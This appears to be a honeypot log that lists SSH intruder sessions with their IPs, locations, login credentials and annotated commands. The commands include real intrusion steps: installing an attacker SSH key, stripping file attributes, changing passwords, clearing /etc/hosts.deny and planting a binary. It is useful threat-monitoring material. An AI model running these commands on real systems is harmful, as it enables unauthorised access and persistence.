$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:PZeBOxXISf9d"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 panda_root_3 (106.12.29.168) — Beijing, China · 1 session · 1 cmd

2026-07-15 19:55 EDT · as root/5nWt3P-fF4WosQm5O

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 liberty_root_13 (23.234.109.56) — Atlanta, United States · 1 session · 1 cmd

2026-07-15 19:08 EDT · as root/keenetic

pwd

$ pwd

🎭 strudel_root (5.182.207.11) — Frankfurt am Main, Germany · 394 sessions · 394 cmds

2026-06-28 14:00 EDT · as root/akiraagent, root/jimster!!, root/jimster!@#

execute from /tmp → service manipulation → make executable → uname (repeated execute from /tmp 316x)

$ cat > /tmp/netcache-new ×196 // execute from /tmp

$ uname -m && df / >/dev/null 2>&1 && which systemctl && echo GOOD ×196 // service manipulation

$ cat > /tmp/nw-new && chmod +x /tmp/nw-new && mv /tmp/nw-new /usr/local/bin/netwatcher-worker // make executable

$ uname -m

🎭 wraith_root_29 (103.189.235.167) — Singapore, Singapore · 1 session · 19 cmds

2026-07-15 13:30 EDT · as root/mnbvcxz1

execute from /tmp → service manipulation → make executable → uname (repeated execute from /tmp 316x)

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:elhOUL4PapCU"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 toucan_root_8 (187.56.133.145) — Campinas, Brazil · 1 session · 20 cmds

2026-07-15 12:34 EDT · as ftp2/ftp2

execute from /tmp → service manipulation → make executable → uname (repeated execute from /tmp 316x)

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "ftp2\n9GbH4aRirieo\n9GbH4aRirieo"|passwd|bash

$ Enter new UNIX password:

$ echo "ftp2\n9GbH4aRirieo\n9GbH4aRirieo\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 tulip_sol_3 (91.92.42.52) — Eygelshoven, The Netherlands · 1 session · 1 cmd

2026-07-15 10:19 EDT · as tgk/huawei@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 ghost_root_15 (83.78.17.114) — Zurich, Switzerland · 1 session · 20 cmds

2026-07-15 09:57 EDT · as deploy/Deploy2025!

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Deploy2025!\nYt0cPrpowkt7\nYt0cPrpowkt7"|passwd|bash

$ Enter new UNIX password:

$ echo "Deploy2025!\nYt0cPrpowkt7\nYt0cPrpowkt7\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 gouda_sol_4 (91.92.47.96) — Eygelshoven, The Netherlands · 1 session · 1 cmd

2026-07-15 09:13 EDT · as greedo/frappe123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 pretzel_root_7 (46.101.235.18) — Frankfurt am Main, Germany · 2 sessions · 40 cmds

2026-07-15 07:31 EDT · as ikeda/ikeda, ubuntu/shell

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "ikeda\nKE8hyxkK0cfx\nKE8hyxkK0cfx"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "ikeda\nKE8hyxkK0cfx\nKE8hyxkK0cfx\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "shell\n47z2AWoUJoOn\n47z2AWoUJoOn"|passwd|bash

$ echo "shell\n47z2AWoUJoOn\n47z2AWoUJoOn\n"|passwd

🎭 autobahn_root_3 (167.233.70.165) — Falkenstein, Germany · 2 sessions · 40 cmds

2026-07-15 07:32 EDT · as ikeda/ikeda, ubuntu/shell

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "shell\nZCVW72dXa44A\nZCVW72dXa44A"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "shell\nZCVW72dXa44A\nZCVW72dXa44A\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "ikeda\nyBfU7Enh3WEM\nyBfU7Enh3WEM"|passwd|bash

$ echo "ikeda\nyBfU7Enh3WEM\nyBfU7Enh3WEM\n"|passwd

🎭 shadow_root_7 (5.181.87.33) — İncesu, Turkey · 2 sessions · 39 cmds

2026-07-15 03:25 EDT · as root/abc123456..., vlad/vlad123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:0dZwypGwo2EX"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "vlad123\nmbZxIGwOjKgk\nmbZxIGwOjKgk"|passwd|bash

$ Enter new UNIX password:

$ echo "vlad123\nmbZxIGwOjKgk\nmbZxIGwOjKgk\n"|passwd

🎭 strudel_root_10 (165.232.64.6) — Frankfurt am Main, Germany · 2 sessions · 39 cmds

2026-07-15 03:26 EDT · as root/abc123456..., vlad/vlad123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "vlad123\nsLuYCwUs3bDr\nsLuYCwUs3bDr"|passwd|bash

$ Enter new UNIX password:

$ echo "vlad123\nsLuYCwUs3bDr\nsLuYCwUs3bDr\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:d3lTDOKxqrh7"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

🎭 liberty_root (92.118.39.77) — Dallas, United States · 5 sessions · 45 cmds

2026-07-02 14:01 EDT · as admin/admin, root/1234, root/123456

make executable

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×2 // make executable

$ uname -s -v -n -m 2 > /dev/null ×5

$ /bin/uname -s -v -n -m 2 > /dev/null ×5

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×5

$ busybox uname -s -v -n -m 2 > /dev/null ×5

$ ( [ -f /proc/version ] ×5

$ [ -f /proc/version ] ×5

$ head -1 /proc/version | cut -d -f1 ×5

$ [ -f /etc/os-release ] ×5

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×2

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

🎭 tsar_root_2 (77.66.192.139) — Rostov-on-Don, Russia · 1 session · 20 cmds

2026-07-15 03:50 EDT · as deploy/pass

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "pass\niGNqyubNbI4Q\niGNqyubNbI4Q"|passwd|bash

$ Enter new UNIX password:

$ echo "pass\niGNqyubNbI4Q\niGNqyubNbI4Q\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 gouda_sol_5 (91.92.42.36) — Eygelshoven, The Netherlands · 1 session · 1 cmd

2026-07-15 02:44 EDT · as paas/redhat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 cipher_root_32 (43.129.193.109) — Hong Kong, Hong Kong · 1 session · 19 cmds

2026-07-15 01:48 EDT · as root/qwert1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

